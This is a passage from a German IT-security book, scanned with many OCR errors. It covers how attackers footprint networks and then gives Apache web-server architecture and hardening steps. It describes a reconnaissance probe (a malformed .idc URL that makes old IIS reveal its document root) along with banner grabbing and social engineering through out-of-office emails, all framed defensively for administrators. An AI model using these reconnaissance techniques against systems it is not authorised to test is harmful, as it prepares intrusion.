Nachdem sich Ziele in den letzten beiden Kapiteln herauskristallisiert haben, ist es
nun an der Zeit, Informationen iiber das anzugreifende Netzwerk herauszube-
kommen. Man nennt diesen Vorgang Footprinting.

Was viele Administratoren vergessen, ist die Tatsache, dass ihre Systeme von vor-
ne, also an der , Haupttiir”, der , Eingangstiir”, einen bombensicheren Riegel vor-
geschoben bekommen haben. Alle Seiten- oder Hintereingdnge werden dagegen
vernachldssigt.

Solche Hintertiiren werden iiber Extranets gefunden, also in Erweiterungen eines
Intranets. Diese Erweiterungen werden meistens nicht verdffentlicht. Hier be-
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9 Informationsbeschaffung anhand eines Beispiels

wabhrheitet sich leider sehr oft der Ausspruch ,Security by Obscurity”. Das Netz ist
ja nach auflen hin nicht bekannt und muss auch nicht besonders abgesichert wer-
den, wie das Hauptnetz. Oft gibt es aber direkte Verbindungen aus dem Extranet
in das Intranet. Eine Projektgruppe in Ihrer Firma installiert einen eigenen Web-
Server mit einem darauf laufenden Board, wie z.B. WIKI. Der muss natiirlich auch
fiir die eigenen Mitarbeiter erreichbar sein, die beim Kunden vor Ort im einsatz
sind und ihre Daten, wie z.B. Projektstatus und Informationen weitergeben moch-
ten. Wer ist zustandig fiir eventuelle Updates des Betriebssystems und — viel wich-
tiger — wer ist verantwortlich fiir die Updates der Anwendungssoftware und den
Web-Server? Die Hintertiir 6ffnet sich bereits einen Spalt.

Ein Angreifer wird sich immer den einfachsten Weg suchen, um in Ihr Netzwerk
zu kommen.

9.41 Dateistrukturen auf Inrem Server auflisten nach Eingabe einer falschen
URL

Bei alteren IIS-Versionen war es mdoglich, durch eine simple Anfrage an den Server
den Pfad fiir das Documentroot genannt zu bekommen.

Probieren Sie einmal die folgende URL an Ihrem IIS Server aus:
,http:/fwww.servername.de/index.html.idc”

In einigen Fallen erhalten Sie eine Fehlermeldung mit der Aussage:
,,"Cannot open c:\inetpub\wwwroot\index.html .idc”

IDC steht fiir Internet Database Connector und beinhaltet alle Informationen fiir
eine Datenbankabfrage mit dem IIS-Web-Server. Die Abfrage wird dann mit Hilfe
von ODBC und einem Datenbankserver (MYSQL, MS-SQL etc.) ausgefiithrt und
tiber eine Schablone, die HTX Datei, an den Client geliefert.

Die IDC Dateien konnten durch einen Aufruf also Informationen tiber Datenstruk-
turen auf dem Web-Server zur Informationsbeschaffung an einen Angreifer liefern.

9.4.2 Informationen zu Applikationen sammeln

Fiir einen Angreifer ist es von groffem Vorteil, wenn er Informationen {iber die in-
stallierten Applikationen bekommt, speziell die Versionsnummern.

Viele Applikationen, wie z.B. FTP und Web-Server, liefern in ihrem Banner die
Versionsnummer mit, wenn sie mit einem FTP-Programm oder einem Browser
zugreifen. So sendet der IIS 5.0 seinen Banner in Form wvon ,Server: Microsoft-
115/5.0” und ein Apache-Server ,Server: Apache/2.0.41-dev (UNIX)” zuriick. Doch
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9.4 Informationen iiber Netzwerke sammeln

auch SMTP-Server (Sendmail etc.) geben diese Infos. Es besteht aber die Moglich-
keit, die Banner zu bearbeiten. Ein Internet Information Service sendet als Banner
seine Versionsnummer und das installierte Betriebssystem mit. Andern Sie bitte
diese Informationen in eine harmlose Meldung. Tragen Sie dort z.B. , Web-Server
der Domain X.Y.” oder ,, Internet Information Service” ohne Versionsnummer und
Betriebssysteminformationen ein.

Betreiber eines Apache-Servers konnen mit dem Modul ,, mod_headers?*” Einstel-
lung verandern, indem sie in die httpd.conf den folgenden Eintrag: ,Header set
Server "Server der Firma X.Y. "” benutzen.

Programme wie ,Sam Spade?” oder ,Header Check?” helfen Ihnen, diese Einstel-
lungen in Ihrem System zu testen.

Angreifer starten hier mit der Informationssuche. Warum sollten Sie nicht auch mit
Ihren Mafinahmen starten?

9.4.3 Informationen liber angelegte Ordner, Dateien auf dem Web-Server

Auch tiber die Namen der Dateiordner und die Dateinamen selber lasst sich ein
Web-Server identifizieren.

Dateiendungen, wie ,,.asp” oder ,.aspx” deuten im Allgemeinen auf einen Micro-
soft-Web-Server hin (obwohl es auch ASP-Erweiterungen fiir den Apache-Server
gibt, die jedoch mehr experimentellen Charakter haben).

Es besteht jetzt die Moglichkeit, ,.asp”-Seiten auf ,.html”-Seiten umzuleiten, so
dass nach aufien hin nicht auf den ersten Blick ersichtlich ist, welche Dateiendun-
gen auf dem Server liegen. Dieses Vorgehen ist aber nicht bei Migrationen auf an-
dere Servertechnologien und einem Mix aus verschiedenen Web-Servern zu emp-
fehlen.

Unter dem Apache-Server kann man das Modul ,, mod_negotiation” verwenden,
fiir den IIS gibt es kommerzielle Tools, wie z.B. , PageXchanger?”. Mit diesen Tools
oder dem Modul fiir den Apache-Server werden Ihre URLs vereinfacht, so dass die
komplette Pfadangabe mit einer Dateiendung nicht mehr notwendig ist. Sie geben

2 Vgl. dazu http://httpd.apache.org/docs/mod/ mod_headers.html
35 Vgl. dazu http://www.samspade.org/
2% Vgl. dazu http://www.port80software.com/support/ p80tools#theadercheck

7 Vgl. dazu http://www.port80software.com/products/ pagexchan-
ger/?vid=2657881
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an, wie der Server die Anfragen des Browsers, also des Clients bedient. Es kann
auf der einen Seite die Sprache definiert werden, wie z.B. EN fiir Englisch oder DE
fiir Deutsch, d.h. der Server passt sich den Anforderungen und Bediirfnissen des
Clients an. So kann eine Bilddatei in mehreren Formaten vorliegen, namlich als
GIF, PNG oder JPG. Wenn der Client dann JPG-Dateien verarbeiten kann, was der
Browser im http-Header (Accept, Accept-Charset, Accept-Encoding und Accept-
Language) an den Server iibermittelt, wird eventuell eine JPG-Datei geliefert. Wel-
che Datei im Endeffekt gesendet wird, bestimmen Sie durch eine Vergabe von Pri-
oritaten in der Konfigurationsdatei des Servers.

Mit so genannten ,MultiViews” oder , Type-Maps” konnen Sie schnell eine solche
Zuordnung der Dateien vornehmen. Zuallererst aktivieren Sie diese Option in der
Konfigurationsdatei des Apache-Servers (Achtung: Sie konnen nicht die Option
ALL nutzen, wie sonst bei anderen Modulen!):

<Location /downloads>
Options +MultiViews

</Location>

<Location /downloads>
AddHandler type-map var
</Location>

Browseranfragen nach nicht existenten Dateien werden mit einer Fehlermeldung
seitens des Servers an den Browser quittiert.

Sendet der Browser im Header eine Meldung wie z.B. “Accept: image/jpg; q=1,
image/gif; g=0.5, image/png; q=0.2, */*;q=0.1", wird als Image die Datei mit der En-
dung .jpg geliefert, da diese die hochste Prioritédt (g=1) hat. So kdnnen unter ande-
rem auch Anfragen nach verschiedenen Sprachen verarbeitet werden. In einer Da-
tei mit der Endung ,,.var” (siehe oben , type-map”) tragen Sie die jeweiligen Sprach-
zZuweisungen ein:

URL: english.html

Content-Language: en

URI: german.html

Content-Language: de
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In dieser Datei werden auch die Inhalte festgelegt, die ein Server liefern soll als
,best match”:

URI: image.jpg
Content-Type: image/jpeg; qs=0.6

URI: image.gif
Content-Type: image/gif; qs=0.4

Der IIS wiirde eine Browseranfrage , www.servername/download/index” z.B. mit
~www .servername/download/index.asp” mappen. Die Dateierweiterung .asp
bleibt dem Anwender verborgen.

9.44 Stand der installierten Updates und Patches auf dem Server

Weitere interessante Informationen fiir einen Angreifer gibt der aktuelle Stand der
eingespielten Updates und Patches auf einem Server. Auch in diesem Fall liefert
der Banner (siehe Kapitel 7.4.1) der installierten Applikationen wertvolle Hinweise.
Sendmail sendet zum Beispiel die Versionsnummer des installierten Daemons mit.
Der Angreifer muss jetzt nur noch die nicht gepatchten Schwachen dieser Version
heraussuchen.

9.45 “Out of Office”-Nachrichten per Email

, Out of Office”-Nachrichten sind eine feine Sache. Sie bekommen eine automatisch
versendete Nachricht vom Empfanger Ihrer Email, dass dieser zurzeit nicht er-
reichbar ist. Sie haben die Info vorliegen, wann Sie den gewiinschten Gespréachs-
partner wieder erreichen konnen, und der Absender dieser Benachrichtigung kann
sicher sein, dass niemand verzweifelt, weil keine Antworten auf Emails kommen.
Schone heile und niitzliche Welt. Oder doch nicht?

Die Autoren haben schon solche , Out of Office”-Benachrichtigungen bekommen,
die fiir einen Angreifer sehr aufschlussreich gewesen waren. So enthielten diese
Benachrichtigungen Hinweise auf rein vertrauliche, also interne Vorgénge in ei-
nem Unternehmen. Teilweise wurden dort Ansprechpartner genannt, an die man
sich wenden solle, falls es Probleme gabe, und noch dazu mit Telefonnummer und
Emailadresse.

,Ich bin in der Zeit vom 10.09.xx bis zum 20.09.xx nicht im Hause. Bei Problemen
mit dem Dialinserver rufen Sie bitte Herrn X.Y. unter der Telefonnummer
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XXXXXXXXX an oder senden Sie ihm eine Email unter x.y@Firma.com. Wenn Sie
Ihr Passwort fiir den Emailserver vergessen haben, senden Sie eine Nachricht an
y.z@Firma.com. Thnen wird dann automatisch ein neues Passwort zugemailt. Ihr
Login ist der Teil vor dem , @”“-Zeichen.”.

Durch Social Engineering, oder auch Social Hacking genannt, kann ein Angreifer
nun durch geschicktes Stellen von Fragen seine Kenntnisse ausbauen. Die angege-
benen Personen in einer , Out of Office“-Meldung sind in den meisten Fallen nicht
immer mit dem Aufgabengebiet vertraut, welches sie ersatzweise betreuen sollen.
Diese ,,Urlaubsvertretungen” haben eigene Aufgaben zu erledigen und sollen noch
nebenbei die Aufgabe eines Kollegen tibernehmen. Solche Konstrukte wird wahr-
scheinlich jeder aus dem eigenen Unternehmen kennen.

Viele Aufgaben werden in solchen Fillen moglichst schnell erledigt und beantwor-
tet. So kann es vorkommen, dass ein Passwort zuriickgesetzt wird und die Ant-
wort per Email an eine Adresse gesendet oder am Telefon einer Person genannt
wird, die einem nicht personlich bekannt ist.

Vermeiden Sie diese ,Out of Office Meldungen”. Wenn es gar nicht anders geht,
versenden Sie diese Meldungen nur an interne Adressen, also nur innerhalb Ihrer
Maildomane. Hinterlassen Sie auch keine vertraulichen Hinweise. Eine einfache
Meldung, dass Sie zurzeit nicht im Biiro sind, geniigt. Mitarbeiter aus Ihrem Un-
ternehmen werden sich dann in der EDV-Abteilung melden, da die Telefonnum-
mern intern bekannt sein sollten. Mitarbeiter im AufSendienst, die keinen Ersatzan-
sprechpartner haben, werden sich sicher bei Problemen {iiber die Zentrale verbin-
den lassen.

Trainieren Sie auch Ihre Mitarbeiter und Kollegen, speziell ihre Vertretung. Vor al-
lem bei sensitiven Vorgingen, wie das Andern eines Passwortes, muss man den
Anrufer hinterfragen. Geben Sie Passworter nie am Telefon heraus. Schicken Sie
diese per Brief an die Hausadresse des Mitarbeiters. Kontrollieren Sie, ob die am
Telefon genannte Adresse auch mit der Adresse des Mitarbeiters iibereinstimmt.
Eine einfache Nachfrage in der Personalabteilung gentigt.

Versenden Sie keine vertraulichen Daten an eine nicht bekannte Emailadresse.
Schauen Sie sich die Adresse, die genannt wurde, genau an. Outlook und andere
Emailclients zeigen nicht die ganze Emailadresse an, sondern nur das, was der Ab-
sender in das Feld ,gesendet von” eintrdgt. Dies kann der Name eines Ihrer Mitar-
beiter sein, wihrend die Empfiangeradresse aber eine ganz andere ist. Meist reicht
ein einfacher Rechtsklick auf die Eigenschaften dieses Namens, und Sie konnen die
Details tiberpriifen.
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Uber das Social Engineering gibt es sehr viele Informationen und Biicher. Eines soll
in diesem Zusammenhang hervorgehoben werden, und zwar das von Kevin D.
Mitnick ,,Die Kunst der Tauschung” [/20/].

Was kann aus diesen Kapiteln auf das eigene Netzwerk iibertragen werden?

Ein Netzwerk ist nur so sicher wie die schwéchste Komponente, die mit ihm ver-
bunden ist. Uberpriifen Sie alle Ihre Komponenten, die sich in IThrem Netzwerk
oder Teilnetzwerk befinden. Gibt es vielleicht Komponenten, die Sie gar nicht ken-
nen, und ist Ihr Netzplan noch aktuell?

Erstellen Sie eine Zustandigkeitsliste fiir Ihre Systeme und priifen Sie, wer fiir den
Projektserver verantwortlich ist. Uberpriifen Sie mit einem Tool die vergebenen IP-
Adressen und suchen Sie in Threm System nach unbekannten IP-Adressen. Viel-
leicht hat sich bereits ein Web-Server eingeschlichen, ohne dass Sie unterrichtet
wurden.

Gibt es ein WLAN-Netzwerk in Threm Netzwerk oder sogar Modem/ISDN-
Zugange, die ,pflichtbewussten” Mitarbeitern auch nach Feierabend den Zugriff
auf Daten ermdglichen,.

Definieren Sie Service Level Agreements fiir Ihre Systeme. Wer ist in einem Notfall
wann wofliir zustandig.

Andern oder passen Sie Thre Banner in Thren Systemen an.

Schulen Sie Ihre Mitarbeiter, um das Thema Social Engineering in Ihrem Unter-
nehmen zu unterbinden. Geben Sie keine Informationen am Telefon an Dritte wei-
ter, die Sie nicht eindeutig als Mitarbeiter identifizieren konnen.
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Der Apache-Web-Server ist der am haufigsten eingesetzte Web-Server im Internet.
Die Versionen 1.3.x und 2.x haben zusammen uber 63% Marktanteil [/8/].

Der Apache-Web-Server lauft auf nahezu allen Plattformen, wie z.B. NetBSD, Digi-
tal UNIX, AIX, OS/2, Windows 3.x, SCO, HPUX, Novell NetWare, Macintosh, Be
OS, Windows NT, Linux, VMS, AS/400, Windows 95, Windows-Serversysteme,
FreeBSD, IRIX, und Solaris.

10.1 Architektur des Apache-Web-Server

Der Apache Web-Server ist ein robuster und stabiler Web-Server mit einer grofsen
Anzahl an Funktionen und Modulen. Das wird auch der Grund sein, warum er so
populdr und verbreitet ist.

Es gibt bei der Apache Software Foundation zwei "Zweige": einmal die Neuent-
wicklung, den Apache-Server in der Version 2.x.x, und die &ltere Version in der
Version 1.3.x.

Die Version 2 nutzt Multiprocessing-Module(MPM). Diese MPM koénnen jede Ei-
genart der Betriebssysteme, auf dem der Apache installiert wird, ausnutzen und
steuern eine Reihe von zentralen Anweisungen, auch , Allgemeine Direktiven” ge-
nannt, die in den meisten Installationen des Apache-Server angewendet werden.
Das sind unter anderem:

e Group

e Listen

e ListenBackLog

e LockFile

e  MaxClients

e MaxMemFree

¢ MaxRequestsPerChild
¢ MaxSpareThreads
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Den Apache-Server konnen Sie sich unter http://httpd.apache.org in verschiedenen
Versionen und fiir fast alle gédngigen Betriebssysteme vorkompiliert herunterladen.

Es ist auch moglich, die Sourcen herunterzuladen und sie dann mit eigenen Kom-
mandos in einer Shell zu kompilieren und zu installieren.

Die Konfiguration und Uberwachung vom Apache-Server kann mit Tools von
Drittanbietern geschehen. Ein sehr weit verbreitetes Tool ist Webmin?s.

Um zu verstehen, wie ein Apache-Web-Server funktioniert, muss man wissen was
intern bei einem Zugriff (http Request) ablautft.

Apache lduft mit einem Preforking-Modell. Preforking ist eine Technik, bei der das
Aufgabeln (forking), also das Starten eines Server-Prozess kurz vor einem Request,
der an den Server gesendet wird. Das Resultat sind Prozesse, die auf eine Beant-
wortung des Requests warten. Ein einzelner Steuerprozess ist fiir den Start von
Kindprozessen verantwortlich, die auf Verbindungen warten und diese bedienen,
sobald sie eintreffen. Somit versucht der Web-Server immer, einige freie Prozesse
vorzuhalten, um die Requests bedienen zu konnen.

Andere Web-Server arbeiten mit einer anderen Technik, die nur dann einen Server-
Prozess startet, wenn ein Request bereits gesendet und nach der Beantwortung
wieder gestoppt wird, um jeweils einen neuen Prozess fiir einen neuen Request
des Anwenders zu starten. Dies endet im immer wieder erneuten Starten und
Stoppen von Prozessen und fiithrt zu einer starken Belastung der Web-Server.
Denken Sie in diesem Zusammenhang nur an einen Online Webshop. Der Anwen-
der durchsucht Ihre Angebote und sendet immer wieder neue Suchanfragen.

Apache bietet dafiir eine Losung mit einer bereits vorhandenen Anzahl an Prozes-
sen. So kann Apache schneller auf Requests reagieren und sie auch schneller be-
antworten.

Apache hat einen modularen Aufbau. Dadurch wird er in der Grundstruktur tiber-
sichtlich gehalten. Neue Funktionen konnen einfach eingebunden werden.

Apache ist im Vergleich mit anderen Servern nicht der schnellste Web-Server.
Deswegen mag es verwunderlich sein, dass er der meist genutzte Web-Server im
Internet ist. Ein Grund wird seine Vielféltigkeit sein. Alle schnelleren Web-Server
haben eine sehr schlanke Struktur, die nicht ohne weiteres erweitert werden kann.
Apache liefert schon in der Grundstruktur eine Vielzahl von implementierten Mo-

28 http://www.webmin.com/webmin/index2.html
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dulen. Hinzu kommt eine Vielzahl von Modulen und Funktionen, die einkompi-
liert werden konnen.

Wenn Sie wissen mochten, mit welchen Modulen Thr Apache-Web-Server kompi-
liert wurde, steht Ihnen dazu der Konsolenbefehl ,,apache - zur Verfiigung.

10.2 Multi-Thread und Multi-Prozess Web-Server

Trifft ein Request bei einem Web-Server ein, wird er von ihm behandelt. In dieser
Zeit konnen weitere Requests eintreffen. Jetzt gibt es zwei Wege, sie zu bearbeiten.

Ein Weg ist, diese Requests in einer Queue zu parken und nach der Abarbeitung
des ersten Requests neue Anfragen in der Queue nach und nach abzuarbeiten. Die-
se Form eines Web-Servers nennt man Single-Thread Web-Servers.

Kann der Web-Server gleichzeitig mehrere Requests beantworten, nennt man ihn
Multi-Thread oder Multi-Prozess Web-Server, je nachdem, auf welchem Betriebs-
system er installiert ist. Unter Windows muss das Modul ,,mod_winnt” eingesetzt
werden, um den Apache-Server multiprozessfahig zu machen, da Windows kein
echtes Multiprozess-System ist und fiir den Apache immer nur zwei Prozesse ge-
startet werden konnen - der eigentliche Server-Prozess und ein "Child"-Prozess.

Auf einer Linux-Maschine konnen dagegen unterschiedliche "Child"-Prozesse
gleichzeitig nebeneinander laufen.

10.3 Serverlogging und Status beim Apache-Server

Der Apache-Server kann so konfiguriert werden, dass der komplette Vorgang des
ein- und ausgehenden Verkehrs aufgezeichnet wird.

Die Log Files, die in der Direktive , CustomLog” angegeben werden, protokollie-
ren den Zugriff auf den Apache-Web-Server.

Defaulteinstellungen beim Apache sind:
CustomLog logs/access_log common #Linux

CustomLog logs/access.log common #Windows

Mit , logs/access_log/.log” legen Sie fest, wo die Files gespeichert werden.
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Mit ,,common” definieren Sie, wie tief die Protokollierung der Log Files aussehen
soll.

Sie konnen aber auch die Logdatei mit einer Pipe (Senkrechtstrich |) an ein Pro-
gramm weitergeben, um eine automatische Auswertung der Log Files zu generie-
ren oder um Logdateien, die unter gewissen Umstdanden (hohe Datenfrequentie-
rung etc.) sehr grof§ werden, auszutauschen.

Hier kommt z.B. das Tool ,rotatelogs” ins Spiel, das mit dem Apachepaket instal-
liert wird.

CustomLog "Ibin/rotatelogs /var/logs/logfile 86400" common

Bei Eingabe der oben angegebenen Zeile in der Konfigurationsdatei vom Apache-
Server werden im  Verzeichnis ,/var/logs/ Dateien im  Format
,[logtile TIMESTAMP” erstellt, wobei , Time-stamp” sich aus der aktuellen Sys-
temzeit zusammensetzt. Die Zahl 86400 gibt an, dass alle 24 Stunden eine neue Da-
tei erstellt wird. Es kann ebenso eine Angabe in Megabyte {ibergeben werden:
CustomLog "|bin/rotatelogs /var/logs/logfile 5M" common

Die einzelnen Response Codes konnen im Anhang B eingesehen werden.

10.4 Architektur des Apache 2.0

Im Grunde genommen kann man die Architektur des Apache-Server in die Berei-
che Kern (core) und Module (modules) aufteilen.

Der Kern benétigt und benutzt die Module zur Beantwortung von Requests. Die
Module liefern die Daten und helfen dem Kern im Gegenzug und bei der Steue-
rung und Kontrolle der Requests (siehe dazu auch die Abbildung 11).

Durch diese Aufteilung ist der Apache in der Lage, seinen modularen Aufbau zu
bieten.
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Abbildung 11: Zusammenarbeit von Kern und Modulen beim Apache-Server

Der Mittelpunkt des Apache-Server, wie der Name auch deutlich macht, ist der
Kern. Er hat alle grundlegenden Funktionalitdten in sich vereint. Zusétzlich ist er
fiir die Implementierung und Integration von Utility Funktionen verantwortlich.
Seit Apache 2 wurde ebenfalls die Integration auf Nicht-Unix-Betriebssysteme ver-
bessert. So lauft der Apache auf Windows- oder BeOS-Systemen noch stabiler.

Module erweitern, verdndern oder {iberschreiben Apache-Funktionalitdten. Durch
sie wird der Apache in die Lage versetzt, nahezu unbegrenzt skalierbar und er-
weiterbar zu sein, wobei alle Module unter einer dhnlichen Schnittstelle mit dem
Kern interagieren. Module sind unabhéngig voneinander und operieren direkt mit
dem Kern des Apache-Server. Wenn ein Modul Informationen von einem anderen
Modul erwartet oder an ein anders Modul weitergeben mochte, muss dieser Aus-
tausch tiber den Kern laufen.
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10.5 Sicherheitsperspektiven

Sicherheit ist ein zweischneidiges Schwert in der EDV. Auf der einen Seite moch-
ten Sie eine maximale Sicherheit fiir Ihre Systeme erreichen. Das schaffen Sie nur,
wenn Sie alle Requests erst nach einer Uberpriifung des Absenders und des Inhalts
auf lhren Server weiterleiten. Der Nutzer Threr Systeme wird Ihnen schnell den
Riicken kehren, wenn Sie ihm zu viele Hindernisse in Form von Passwortabfragen,
Zertifikaten usw. aufdriicken. Dem Anwender darf es nicht zu leicht gemacht
werden. Es muss eine gesicherte Verbindung zustande kommen, um sensible Da-
ten zu tibertragen, oder der Anwender muss sich erst am System anmelden.

Die Sicherheit muss in einem wirtschaftlichen Rahmen erfolgen. Uberlegen Sie
sich, was fiir Daten auf Ihren Systemen liegen. Was kann passieren, wenn Daten
verloren gehen oder der Server ausfallt? Sie werden keine 100.000 Euro investieren,
nur um eine einfache Darstellung Ihrer Firmengeschichte abzubilden.

Auf den folgenden Seiten sollen Hinweise gegeben werden, wie Sie Thre Apache-
Systeme mit Bordmitteln absichern konnen. Dariiber hinaus werden Hinweise fiir
weitergehende Konzepte gegeben.

10.5.1 Installation des Apache unter einem anderen Benutzer

Die Absicherung des Apache-Web-Server beginnt bereits bei seiner Installation auf
ihrem System.

Bei vielen Distributionen wird der User, unter dem der Apache spater gestartet
wird, als ,,nobody” angegeben. Der User ,nobody” wird jedoch auch von anderen
Programmen genutzt, um Dienste zu starten. Deshalb ist es besser, einen eigenen
User und eine eigene Gruppe einzurichten, die nur fiir den Apache zustandig ist.

Man sollte nicht den User ,,apache” wahlen, da das zu offensichtlich ist. In den fol-
genden Beispielen wird der User ,www" und die gleichnamige Gruppe verwen-
det.

Um eine neue Gruppe zu erstellen, geben Sie bitte ein:
#groupadd www

Fiir einen neuen User:
#useradd www -g www —d /dev/null -s /sbin/ nologin

Das Anhdngen von “ /dev/null -s /sbin/nologin® verhindert ein Login tiber eine
Shell.
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Danach vergeben Sie mit ,passwd -1 ein Kennwort fiir den User , www”. Das ,-1”
bewirkt, dass ,, www” nur fiir root verfiigbar ist.

In diesem Zusammenhang konnen auch weitere Accounts dementsprechend ge-
sperrt werden:

passwd -1 test
passwd -l admin

passwd -1 guest

Wenn Sie SSH-Zugriffe fiir den User root ebenfalls vermeiden wollen und erst
nach Anmeldung eines normalen Users nutzen mochten, geben Sie Folgendes in
die Datei ,/etc/ssh/sshd_config” ein:

PermitRootLogin no

Danach miissen Sie noch Thren SSH-Dienst mit , /etc/init.d/sshd restart” neu starten.

10.5.2 Dateisystem des Web-Server absichern

Web-Server bendtigen eine besondere Betrachtung des Dateisystems. Sie sind dau-
erhaft Anfragen aus dem Internet ausgesetzt und beinhalten oftmals noch weitere
laufende Dienste, wie File Transfer oder die Nutzung von Emails.

Daraus ergeben sich wohliiberlegte und streng reglementierte Sicherheitsregeln.

Angefangen beim User, unter dem der Apache-Web-Server gestartet wird, sollten
Sie sich Gedanken iiber den Aufbau Ihrer Verzeichnisstruktur und deren Zugriffs-
rechte machen.

Sichern Sie als erste Mafsnahme die Binarys des Apache-Web-Server ab. Nur Root
sollte Schreibrechte in diesem Verzeichnis haben:

# chown -R root:root /usr/local/apache
# find /usr/local/apache -type d | xargs chmod 755
# find /usr/local/apache -type f | xargs chmod 644

Lassen Sie den Web-Server nie unter Root-Rechten laufen, so dass ein gehackter
Web-Server die Konfigurationsdateien @ndern kann. Wahlen Sie einen eigenstéan-
digen User, der einer eigenen Gruppe zugeordnet ist (sieche dazu das vorige Kapi-
tel). Im Grunde genommen sollte der User, der den Apache startet, nur die Logfiles
andern diirfen.
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Setzen Sie die Rechte fiir das Rootverzeichnis des Web-Server auf Leserechte fiir
den User des Web-Server.

Wenn Sie doch in einigen Situationen mehr als Leserechte fiir einige Dateien im
Rootverzeichnis des Servers benétigen, sollten Sie diese Dateien in ein eigenes Un-
terverzeichnis verschieben und ihm dann entsprechende Rechte geben.

Auch die Logfiles sollte kein anderer als Root lesen diirfen. Andern Sie diese Ein-
stellung mit:

# chmod -R go-r /usr/local/apache/conf
# chmod -R go-r /usr/local/apache/logs

Es ist moglich, die Verzeichnisfreigabe tiber die Funktionen , Directory”, , Locati-
on”, ,File” und , .htaccess” zu regeln.

10.5.3 Server Limits konfigurieren

Sehen Sie sich die Defaulteinstellungen des Apache-Web-Server an. Dort finden
sie einige Einstellungen, die durch leichte Anpassungen die Sicherheit Ihres Ser-
vers erhohen konnen.

Die , TimeQOut” Variable ist in der Apache-Konfigurationsdatei auf einen Wert von
300 Sekunden eingestellt. So lange wartet Thr Server auf eine Antwort von einem
Client mit einer langsamen Verbindung. Setzen Sie diesen Wert auf hochstens 60
Sekunden. Das kann unter Umstdnden einen DoS-Angriff unterbinden.

Ab Apache 2.x haben Sie die Moglichkeit, die Lange des XML Request Bodys ein-
zustellen. Geben Sie hier einen Wert von 64 KB an. Es sei denn, Sie bendtigen zu-
satzliche Bandbreiten, um Dateiuploads zur Verfiigung zu stellen.

10.5.4 Verschliisselung mit SSL

Auch wenn es trivial erscheint - Nutzen Sie auf jeden Fall die Mdglichkeit der Ver-
schliisselung mit SSL. Sobald Sie personliche Daten iibertragen, wie z.B. Kreditkar-
tennummern, User-IDs oder Adressdaten, sollten diese Datenwege verschliisselt
werden. Leider trifft man immer noch viel zu oft auf Webseiten, bei denen die
Anmeldung iiber ein Passwort im Klartext iibertragen wird. Bieten diese Websei-
ten auch noch einen Online-Shopping-Dienst an, ist dies unverantwortlich.

Mit dem Apache-Web-Server ist es sehr einfach, SSL-Zertifikate zu verwalten und
damit eine Verschliisselung zu gewdhrleisten. Stellen Sie in diesem Zusammen-
hang ebenfalls ein, dass Sie SSL in der Version 3 oder TLS 1.0 unterstiitzen und
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nicht mehr das anfallige SSL in der Version 2.0. Die Unterschiede zwischen SSL 3.0
und TLS 1.0 sind sehr klein. Doch dadurch entstanden Versionsverwirrungen. So
meldet sich TLS 1.0 im Header als Version SSL 3.1

10.5.5 Zugriffsbeschrankungen per .htaccess

Zugriffsbeschrankungen beim Apache-Web-Server konnen auf unterschiedliche
Weise geregelt werden. Auf der einen Seite konnen Sie per .htaccess die Zugriffe
reglementieren, oder aber Sie geben fest definierte IP-Adressbereiche fiir einen
Zugriff frei. Am Anfang des Dateinamens steht ein Punkt. Er bezeichnet Dateina-
men, die unter Unix zu den versteckten Dateien zdhlen. Der Name muss auch nicht
zwingend ,,.htaccess” lauten, sondern kann tiber die Funktion , AccessFileName”
frei definiert werden.

Wenn in die Konfigurationsdatei ,httpd.conf” folgende Zeilen eingefiigt werden:
AccessFileName .htaccess
<Files ~ "".ht">
Order allow,deny
Deny from all
</Files>

wird die Datei zusatzlich vor einem unerlaubten Zugriff geschiitzt, wenn dies noch
nicht per Default geschehen ist.

Die ,.htaccess”-Datei gilt fiir das gesamte Verzeichnis und alle dort enthaltenen
Unterverzeichnisse. Wenn Sie diese Unterverzeichnisse anderweitig oder mit einer
anderen Option sichern mochten, miissen Sie in dem jeweiligen Unterverzeichnis
eine neue ,,.htaccess”-Datei erstellen.

Per User-ID und Passwort

Die Freigabe von Verzeichnissen oder Dateien fiir eine bestimmte Benutzergruppe
oder einzelne Anwender ldsst sich per .htaccess unter Apache regeln.

Ein Beispiel fiir eine ,.htaccess”-Datei in dem Verzeichnis ,,/downloads” in Ihrem
Web-Server-Rootverzeichnis kann wie folgt aussehen:

#.Zugriffsbeschrinkungen fiir das Verzeichnis /downloads
AuthType Basic

AuthName "Downloads”

AuthUserFile lusr/zugriffel.htanwender
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AuthGroupFile /usr/zugriffe/ htgruppe
Require user Hockmann Gast1 Gast2

Require group Downloader

Was jetzt noch fehlt, ist eine Passwortdatei, in der die Passworter fiir die User
,Hockmann”, ,Gast1” und , Gast2” hinterlegt sind. Als , AuthType” wird meist , Ba-
sic” genommen, was einer Authentifizierung des Passwortes per http entspricht.
Die meisten Browser unterstiitzen eine solche Abfrageform im Gegensatz zum
, AuthType” ,Digest”. Der Vorteil von , Digest” ist eine verschliisselte Ubertragung
des Passworts. Bei der , Digest“-Methode wird das Passwort nicht {iber das Netz an
den Server gesendet, sondern ein aus dem Benutzernamen und dem Passwort so-
wie anderen Informationen berechneter Wert. Diese Berechnung fiithren Sie mit
dem Tool , htdigest” aus, mit dem Befehl:

htdigest -c Passwortdatei realm username

Erstellen Sie eine dementsprechende Passwortdatei neu oder wandeln bestehende
Passworter um. Uberpriifen Sie aber, ob diese Abfrage auch mit Ihren Browsern
moglich ist. Nicht alle Browser kénnen die , Digest“-Methode nutzen.

Der Server fithrt dieselbe Berechnung mit seinen vorliegenden Daten durch und
vergleicht sein Ergebnis mit dem vom Browser gesendeten Wert. Da die Berech-
nung nicht umkehrbar ist, kann aus diesem Wert auch nicht das Passwort abgelei-
tet werden.

Mit , AuthUserFile” und , AuthGroupFile” legen Sie den Pfad fiir die Passwortdatei
,-htanwender” und die Gruppendatei ,.htgruppe” fest. Beachten Sie dabei bitte,
dass es sich nicht um einen relativen Pfad zu Ihrem Web-Server-Rootverzeichnis
handelt, sondern um eine Pfadangabe Ihres Betriebssystems.

Mit , Require user” legen Sie die Anwender fest, die sich einloggen diirfen.

Sie miissen nun noch die Datei ,.htanwender” erstellen, in der Sie die Anwender
mit dem dazugehorigen Passwort eintragen. Der Apache-Web-Server erlaubt ent-
weder unverschliisselte Passworter (unter Windows) oder verschliisselte nach den
Methoden Crypt oder MD5 (alle Plattformen einschliefslich Windows).

Sie konnen mit der Datei ,htpasswd” (unter Windows heifit die Datei
,htpasswd.exe”) diese Passworter erstellen. Rufen Sie die Datei mit dem Zusatz ,-h”
auf, um eine kurze Hilfe zu bekommen.

Ansonsten werden die Passworter mit der Befehlszeile
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htpasswd -c .htanwender Hockmann
erstellt.

Wenn Sie die ,,.htaccess“-Datei mit den folgenden Attributen erweitern, konnen Sie
